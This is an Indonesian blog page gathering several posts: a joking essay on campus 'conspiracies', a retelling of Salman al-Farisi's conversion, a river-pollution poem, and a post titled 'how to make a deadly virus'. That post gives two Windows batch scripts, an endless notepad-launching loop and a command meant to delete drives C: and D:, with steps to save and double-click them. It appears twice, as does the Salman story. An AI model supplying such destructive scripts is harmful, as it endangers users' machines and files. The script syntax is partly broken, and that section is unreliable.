download dan klik linknya!!!!!
https://goo.gl/dZ8ofJ
Wew
Assalamu'alaikum Wr. Wb
Selasa, 13 Juni 2017
Selasa, 20 Desember 2016
Konspirasi Kuliah Zaman Sekarang
Surprise madafaka!!! Pos kali ini membahas tentang konspirasi dunia perkuliahan yang semakin semrawut seiring berkembangnya jaman.kehidupan mahasiswa dari tidur begadang sampai besoknya bergadang lagi, dipenuhi konspirasi. Langsung to the point aja yuk liat konspirasi apa aja yang ada di lingkungan perkuliahan.
1. Masa2 promosi di SMA
Konpirasi ini sendiri sudah di mulai sejak sma, dimana murid di tuntut untuk mengejar nilai supaya bisa masuk univ yang diinginkan. Padahal siswa tidak tahu apa-apa mengenai univ yang ingin di masukinya,hanya tahu univ ini lulusannya bagus, cepat kerja, atau ada yang dapet beasiswa ke luar buat s2 nya, tapi tidak tahu kondisi real di univ tersebut. Jadi universitas2 di Indonesia menutupi kondisi real di lingkungannya dengan menggemborkan prestasi lulusan terbaiknya saja. Universitas hanya ingin kuota nya terisi penuh dengan siswa2 jenius, supaya mendapat keuntungan lebih. Pada akhirnya, mahasiswa baru yang jadi korban hanya bisa pasrah dengan lingkungan di kampusnya, karena tidak tahu apa2. Padahal mereka sudah banyak berkorban demi univ yang sebenarnya tidak cocok dengan anak tersebut. Mereka belajar mati2an, mengorbankan masa sma, pikiran serta semangat muda, waktu, teman,keluarga mereka dan universitas tidak bisa membalas pengorbanan mereka dan para mahasiswa baru harus berjuang mati2 an lagi dari awal.
2. OSPEK
OSPEK konspirasi turun menurun dari nenek moyang kating, yang berisi tutorial perkuliahan di tambah bumbu2 pembodohan untuk menakut nakuti anak baru di kampus.kegiatan ospek hanya berkoar2 tentang kekompakan, kekeluargaan, dan solidaritas yang nyatanya tidak ada di angkatan manapun di fakultas tersebut. Ospek dijadikan ajang perponcloan, dan modus para kaka tingkat yang gila hormat dan mungkin kesepian sehingga memerlukan perhatian seluruh adik tingkatnya. Selain itu, ospek juga jadi ajang pencitraan para kating karena status nya sebagai ketua ini itu, atau jabatan apalah. Sasarannya maba dan dosen supaya mereka mendapat nilai lebih di fakultas mereka. Hasil dari ospek itu sendiri tidak membekas pada mahasiswa baru, yang ada Cuma muka2 kating yang serem atau cantik. Pertemanan di kampus masih di dasari kesamaan2 tertentu, bukan karena ospek tersebut.
3. IPK
IPK adalah konspirasi tidak terbantahkan di lingkungan kampus. Konspirasi terbesar di lingkungan dosen,keluarga dan bahkan masyarakat. IPK seolah2 menunjukkan tingkatan mahasiswa dikampus, dari yang tertinggi sampai yang terendah secara mutlak. Padahal IPK hanya berupa penilaian mahasiswa dari sudut pandang dosen yang bersangkutan dan bersifat subyektif. Masyarakat dan keluarga dengan seenaknya menjudge mahasiswa dari ipk nya, padahal mungkin saja mahasiswa dengan ipk tertinggi, kemampuannya sama dengan yang ipk nya biasa saja. Setiap mahasiswa mempunyai kepentingan masing2 di kampus, jadi semua mahasiswa tidak bisa disamakan begitu saja. Contoh nya, jika seorang mahasiswa bercita2 bekerja di perusahaan besar, maka ia akan mengejar ipk yang besar. Tapi bagaimana dengan mahasiswa yang ingin menjadi perintis karir, apakah ia membutuhkan ipk yang besar??? Tentu saja tidak, karena perintis karir tidak bekerja pada siapapun, yang ia butuhkan adalah ilmu dan relasi.
Para mahasiswa saat ini juga banyak yang jadi budak IPK, mereka rela melakukan hal2 luarbiasa demi mendapatkan IPK yang besar. Budak IPK menyebab kan mahasiswa menjadi tumpul insting nya karena hanya terpaku pada angka IPK saja. Pikirannya menjadi tertutup oleh IPK, hidup menjadi susah, sedih dan pilu, padahal mahasiswa bisa menjadi lebih baik dari sekedar budak IPK.
That’s all konspirasi yang ada di lingkungan mahasiswa, jadilah pemikir yang terbuka, kritis, tapi tetap bahagia jangan lupa nge dotaaa XD
Senin, 14 April 2014
cara membuat virus mematikan
kita akan membuat virus yg cukup mematikan diantaranya:
virus pertama
1. buka notepad
2. copy paste script di bawah ini
@echo off
:begin
start
%systemroot%\system32\notepad.exe
GOTO BEGIN
3. simpan file dalam bentuk all file fengan nama yg diakhiri ".bat"
4. klik file tersebut 2 kali dan lihat yg terjadi
virus kedua
1. buka notepad
2. copy paste script di bawah ini
@echo off
DEL C: -Y
DEL D:-Y
3. simpan file dalam bentuk all file fengan nama yg diakhiri ".bat"
4. klik file tersebut 2 kali dan lihat yg terjadi
virus pertama
1. buka notepad
2. copy paste script di bawah ini
@echo off
:begin
start
%systemroot%\system32\notepad.exe
GOTO BEGIN
3. simpan file dalam bentuk all file fengan nama yg diakhiri ".bat"
4. klik file tersebut 2 kali dan lihat yg terjadi
virus kedua
1. buka notepad
2. copy paste script di bawah ini
@echo off
DEL C: -Y
DEL D:-Y
3. simpan file dalam bentuk all file fengan nama yg diakhiri ".bat"
4. klik file tersebut 2 kali dan lihat yg terjadi
Sabtu, 15 Maret 2014
kisah salman al farisi masuk islam
Salman al-Farisi pada awal
hidupnya adalah seorang bangsawan dari Persia yang menganut agama Majusi. Namun
dia tidak merasa nyaman dengan agamanya. Pergolakan batin itulah yang
mendorongnya untuk mencari agama yang dapat menentramkan hatinya.
Kisah Salman diceritakan langsung kepada seorang sahabat dan keluarga dekat Nabi Muhammad bernama Abdullah bin Abbas:
Salman dilahirkan dengan nama Persia, Ruzbah, di kota Kazerun, Fars, Iran. Ayahnya adalah seorang Dihqan (kepala) desa. Dia adalah orang terkaya di sana dan memiliki rumah terbesar.
Ayahnya menyayangi dia, melebihi siapa pun. Seiring waktu berlalu, cintanya kepada Ruzbah semakin kuat dan membuatnya semakin takut kehilangan Ruzbah. Ayahnya pun menjaga dia di rumah, seperti penjara.
Ayahnya memiliki sebuah kebun yang luas, yang menghasilkan pasokan hasil panen berlimpah. Suatu ketika ayahnya meminta dia mengerjakan sejumlah tugas di tanahnya. Tugas dari ayahnya itulah yang menjadi awal pencarian kebenaran.
"Ayahku memiliki areal tanah subur yang luas. Suatu hari, ketika dia sibuk dengan pekerjaannya, dia menyuruhku untuk pergi ke tanah itu dan memenuhi beberapa tugas yang dia inginkan. Dalam perjalanan ke tanah tersebut, saya melewati gereja Nasrani. Saya mendengarkan suara orang-orang shalat di dalamnya. Saya tidak mengetahui bagaimana orang-orang di luar hidup, karena ayahku membatasiku di dalam rumahnya! Maka ketika saya melewati orang-orang itu (di gereja) dan mendengarkan suara mereka, saya masuk ke dalam untuk melihat apa yang mereka lakukan."
"Ketika saya melihat mereka, saya menyukai salat mereka dan menjadi tertarik terhadapnya (yakni agama). Saya berkata (kepada diriku), 'Sungguh, agama ini lebih baik daripada agama kami'".
Ruzbah memiliki pemikiran yang terbuka, bebas dari taklid buta. "Saya tidak meninggalkan mereka sampai matahari terbenam. Saya tidak pergi ke tanah ayahku."
Dan ketika pulang, ayahnya bertanya. Ruzbah pun menceritakan bertemu dengan orang-orang Nasrani dan mengaku tertarik. Ayahnya terkejut dan berkata: "Anakku, tidak ada kebaikan dalam agama itu. Agamamu dan agama nenek moyangmu lebih baik."
"Tidak, agama itu lebih baik dari milik kita," tegas Ruzbah.
Ayah Ruzbah pun bersedih dan takut Ruzbah akan meninggalkan agamanya. Jadi dia mengunci Ruzbah di rumah dan merantai kakinya.
Ruzbah tak kehabisan akan dan mengirimkan sebuah pesan kepada penganut Nasrani, meminta mereka mengabarkan jika ada kafilah pedagang yang pergi ke Suriah. Setelah informasi didapat, Ruzbah pun membuka rantai dan kabur untuk bergabung dengan rombongan kafilah.
Ketika tiba di Suriah, dia meminta dikenalkan dengan seorang pendeta di gereja. Dia berkata: "Saya ingin menjadi seorang Nasrani dan memberikan diri saya untuk melayani, belajar dari anda, dan salat dengan anda."
Sang pendeta menyetujui dan Ruzbah pun masuk ke dalam gereja. Namun tak lama kemudian, Ruzbah menemukan kenyataan bahwa sang pendeta adalah seorang yang korup. Dia memerintahkan para jemaah untuk bersedekah, namun ternyata hasil sedekah itu ditimbunnya untuk memperkaya diri sendiri.
Ketika pendeta itu meninggal dunia dan umat Nasrani berkumpul untuk menguburkannya, Ruzbah mengatakan bahwa pendeta itu korup dan menunjukkan bukti-bukti timbunan emas dan perak pada tujuh guci yang dikumpulkan dari sedekah para jemaah.
Setelah pendeta itu wafat, mereka menggantinya dengan pendeta yang baru. Ruzbahpun tinggal bersamanya. Ternyata pendeta itu adalah pendeta yang baik dan taat kepada agama. Pendeta itu tidak menganut trinitas seperti orang nasrani lainnya, tetapi mengesakan allah. Saat menjelang kematiannya, Ruzbah bertanya kepada pendeta itu. “ kemanakah anda akan menitipkan saya sepeninggal anda?” pendeta itu menjawab. “ sesungguhnya orang2 di kota ini sudah melenceng semua kecuali kita. Mereka mengganti ajaran injil. Jadi selain kita aku tidak menemukan orang lain seperti kita selain pendeta di mousul.”
Kisah Salman diceritakan langsung kepada seorang sahabat dan keluarga dekat Nabi Muhammad bernama Abdullah bin Abbas:
Salman dilahirkan dengan nama Persia, Ruzbah, di kota Kazerun, Fars, Iran. Ayahnya adalah seorang Dihqan (kepala) desa. Dia adalah orang terkaya di sana dan memiliki rumah terbesar.
Ayahnya menyayangi dia, melebihi siapa pun. Seiring waktu berlalu, cintanya kepada Ruzbah semakin kuat dan membuatnya semakin takut kehilangan Ruzbah. Ayahnya pun menjaga dia di rumah, seperti penjara.
Ayahnya memiliki sebuah kebun yang luas, yang menghasilkan pasokan hasil panen berlimpah. Suatu ketika ayahnya meminta dia mengerjakan sejumlah tugas di tanahnya. Tugas dari ayahnya itulah yang menjadi awal pencarian kebenaran.
"Ayahku memiliki areal tanah subur yang luas. Suatu hari, ketika dia sibuk dengan pekerjaannya, dia menyuruhku untuk pergi ke tanah itu dan memenuhi beberapa tugas yang dia inginkan. Dalam perjalanan ke tanah tersebut, saya melewati gereja Nasrani. Saya mendengarkan suara orang-orang shalat di dalamnya. Saya tidak mengetahui bagaimana orang-orang di luar hidup, karena ayahku membatasiku di dalam rumahnya! Maka ketika saya melewati orang-orang itu (di gereja) dan mendengarkan suara mereka, saya masuk ke dalam untuk melihat apa yang mereka lakukan."
"Ketika saya melihat mereka, saya menyukai salat mereka dan menjadi tertarik terhadapnya (yakni agama). Saya berkata (kepada diriku), 'Sungguh, agama ini lebih baik daripada agama kami'".
Ruzbah memiliki pemikiran yang terbuka, bebas dari taklid buta. "Saya tidak meninggalkan mereka sampai matahari terbenam. Saya tidak pergi ke tanah ayahku."
Dan ketika pulang, ayahnya bertanya. Ruzbah pun menceritakan bertemu dengan orang-orang Nasrani dan mengaku tertarik. Ayahnya terkejut dan berkata: "Anakku, tidak ada kebaikan dalam agama itu. Agamamu dan agama nenek moyangmu lebih baik."
"Tidak, agama itu lebih baik dari milik kita," tegas Ruzbah.
Ayah Ruzbah pun bersedih dan takut Ruzbah akan meninggalkan agamanya. Jadi dia mengunci Ruzbah di rumah dan merantai kakinya.
Ruzbah tak kehabisan akan dan mengirimkan sebuah pesan kepada penganut Nasrani, meminta mereka mengabarkan jika ada kafilah pedagang yang pergi ke Suriah. Setelah informasi didapat, Ruzbah pun membuka rantai dan kabur untuk bergabung dengan rombongan kafilah.
Ketika tiba di Suriah, dia meminta dikenalkan dengan seorang pendeta di gereja. Dia berkata: "Saya ingin menjadi seorang Nasrani dan memberikan diri saya untuk melayani, belajar dari anda, dan salat dengan anda."
Sang pendeta menyetujui dan Ruzbah pun masuk ke dalam gereja. Namun tak lama kemudian, Ruzbah menemukan kenyataan bahwa sang pendeta adalah seorang yang korup. Dia memerintahkan para jemaah untuk bersedekah, namun ternyata hasil sedekah itu ditimbunnya untuk memperkaya diri sendiri.
Ketika pendeta itu meninggal dunia dan umat Nasrani berkumpul untuk menguburkannya, Ruzbah mengatakan bahwa pendeta itu korup dan menunjukkan bukti-bukti timbunan emas dan perak pada tujuh guci yang dikumpulkan dari sedekah para jemaah.
Setelah pendeta itu wafat, mereka menggantinya dengan pendeta yang baru. Ruzbahpun tinggal bersamanya. Ternyata pendeta itu adalah pendeta yang baik dan taat kepada agama. Pendeta itu tidak menganut trinitas seperti orang nasrani lainnya, tetapi mengesakan allah. Saat menjelang kematiannya, Ruzbah bertanya kepada pendeta itu. “ kemanakah anda akan menitipkan saya sepeninggal anda?” pendeta itu menjawab. “ sesungguhnya orang2 di kota ini sudah melenceng semua kecuali kita. Mereka mengganti ajaran injil. Jadi selain kita aku tidak menemukan orang lain seperti kita selain pendeta di mousul.”
Kemudian Ruzbah pergi ke
mousul seperti di wasiatkan pendeta tadi. Sesampainya disana ia langsung menemui pendeta tersebut dan menceritakan
wasiat sahabatnya. Ruzbah pun tinggal dengan pendeta itu sampai pendeta itu meninggal.
Saat menjelang kematiannya, Ruzbah bertanya kepada pendeta itu. “ kemanakah
anda akan menitipkan saya sepeninggal anda?” pendeta itu menjawab. “selain kita
aku tidak menemukan orang lain seperti kita selain pendeta di nashabain.”
Kemudian Ruzbah pergi ke nashabain
seperti di wasiatkan pendeta tadi. Sesampainya disana ia langsung menemui pendeta tersebut dan menceritakan
wasiat sahabatnya. Ruzbah pun tinggal dengan pendeta itu sampai pendeta itu meninggal.
Saat menjelang kematiannya, Ruzbah bertanya kepada pendeta itu. “ kemanakah
anda akan menitipkan saya sepeninggal anda?” pendeta itu menjawab. “selain kita
aku tidak menemukan orang lain seperti kita selain pendeta di amuriah.”
Kemudian Ruzbah pergi ke amuriah
seperti di wasiatkan pendeta tadi. Sesampainya disana ia langsung menemui pendeta tersebut dan menceritakan
wasiat sahabatnya. Ruzbah pun tinggal dengan pendeta itu sampai pendeta itu meninggal.
Saat menjelang kematiannya, Ruzbah bertanya kepada pendeta itu. “ kemanakah
anda akan menitipkan saya sepeninggal anda?” pendeta itu menjawab.” Sesungguhnya
aku sudah tidak menemukan orang seperti kita, tetapi inilah waktunya akan dating
seorang nabi dari tanah terasing diantara dua tempat yang subur. Tanda kenabiannya
terlihat jelas, ia tidak mau memakan sedekah tetapi mau menerima hadiah, lalu
di antara bahunya ada cap kenabian.”lalu pendeta itupun wafat.
Ruzbah pun pergi ke Arab mengikuti para pedagang dari Bani Kilab, dengan memberikan uang yang dimilikinya. Para pedagang itu setuju untuk membawa Ruzbah. Namun ketika mereka tiba di Wadi al-Qura (tempat antara Suriah dan Madinah), para pedagang itu mengingkari janji dan menjadikan Ruzbah seorang seorang budak, lalu menjual dia kepada seorang Yahudi.
Singkat cerita, akhirnya Ruzbah dapat sampai ke Yatsrib (Madinah) ia bekerja untuk seorang yahudi di sana. Saat ia sedang di atas pohon kurma, ia mendengar bahwa ada sekumpulan orang yang menyambut orang yang di anggap nabu di quba. Lalu ia .bertemu dengan rombongan yang baru hijrah dari Makkah. Ia lalu memberikan kurma yang sudah ia bawa untuk sedekah kepada nabi dan untuk menguji tanda2 kenabian. Ketika ia memberikannya rasulullahpun menolaknya. Esoknya ia kembali lagi dan menghadiahkan kurma kepada beliau. Lalu beliau menerimanya dan makan berserta sahabat dan keluarga beliau. Terakhir, Ruzbah membuntuti rasul untuk melihat cap kenabian. Rasulullah mengetahui maksudnya lalu memperlihatkan cap kenabian kepada Ruzbah.Lalu, ia langsung mengucapkan 2 kalimat syahadat.Rasulullah mengganti namanya menjadi Salman. Setelah itu, ia pun di merdekakan dengan bantuan rasulullah dan kaum muslimin.
Ruzbah pun pergi ke Arab mengikuti para pedagang dari Bani Kilab, dengan memberikan uang yang dimilikinya. Para pedagang itu setuju untuk membawa Ruzbah. Namun ketika mereka tiba di Wadi al-Qura (tempat antara Suriah dan Madinah), para pedagang itu mengingkari janji dan menjadikan Ruzbah seorang seorang budak, lalu menjual dia kepada seorang Yahudi.
Singkat cerita, akhirnya Ruzbah dapat sampai ke Yatsrib (Madinah) ia bekerja untuk seorang yahudi di sana. Saat ia sedang di atas pohon kurma, ia mendengar bahwa ada sekumpulan orang yang menyambut orang yang di anggap nabu di quba. Lalu ia .bertemu dengan rombongan yang baru hijrah dari Makkah. Ia lalu memberikan kurma yang sudah ia bawa untuk sedekah kepada nabi dan untuk menguji tanda2 kenabian. Ketika ia memberikannya rasulullahpun menolaknya. Esoknya ia kembali lagi dan menghadiahkan kurma kepada beliau. Lalu beliau menerimanya dan makan berserta sahabat dan keluarga beliau. Terakhir, Ruzbah membuntuti rasul untuk melihat cap kenabian. Rasulullah mengetahui maksudnya lalu memperlihatkan cap kenabian kepada Ruzbah.Lalu, ia langsung mengucapkan 2 kalimat syahadat.Rasulullah mengganti namanya menjadi Salman. Setelah itu, ia pun di merdekakan dengan bantuan rasulullah dan kaum muslimin.
Senin, 10 Maret 2014
puisi bertema "pencemaran lingkungan"
Sungai Pelangi
Karya
: abdul qowi
Hari
senin warnamu merah
Hari
selasa warnamu kuning
Hari
rabu warnamu hijau
Hari
kamis warnamu hitam
Padahal
dulu airmu jernih
Memantulkan
cahaya mentari pagi
Ikan-ikan
berenang ke sana kemari
Anak-anak
bermain air dengan riang
Kini
lau memiliki banyak warna
Seperti
pelangi setelah hujan
Kau
berubah warna setiap hari
Akibat
ulah manusia
Tapi…
pelangimu tidak indah sama sekali
Pelangimu
membawa petaka
makhluk
hiduppun enggan mendekatimu
manusia
merasa jijik melihatmu
padahal
itu ulah mereka sendiri
tapi
,mereka menutup mata
enggan
melihat hasil perbuatannya
seakan-akan
mereka sudah tahu akibatnya
mereka
membuang limbah padamu
mereka
membuang sampah padamu
seakan-akan
kau tempat sampah
padahal
kau bukan tempat sampah
setelah
itu ….
mereka
menelantarkanmu
tanpa
memperdulikan nasibmu….
yang
ternoda sampah dan limbah
padahal…
kau
di ciptakan oleh yang maha kuasa
dengan
rupa sebaik-baiknya
dengan
air dari mata air kasih saying-Nya
yang
mengalir mengikuti ketetapan-Nya
engkau
merupakan nikmat dari-Nya
menjadi
sumber kehidupan di bumi
sebagai
bentuk kasih saying-Nya
untuk
makhluk-Nya tercinta
maka,
patutkah kita
menghancurkan
menghancurkan ciptaan-Nya
setelah
di ciptakan dengan baik
atau
membalas kebaikan dengan keburukan
padahal
ia memberikan manfaat
pada
manusia dan makhluk lainnya
tapi
manusia memberikan keburukan padamu
membuang
limbah dan sampah
dan
sekarang beginilah engkau
di
penuhi dengan sampah
dengan
coretan limbah warna-warni
seperti
pelangi
Langganan:
Komentar (Atom)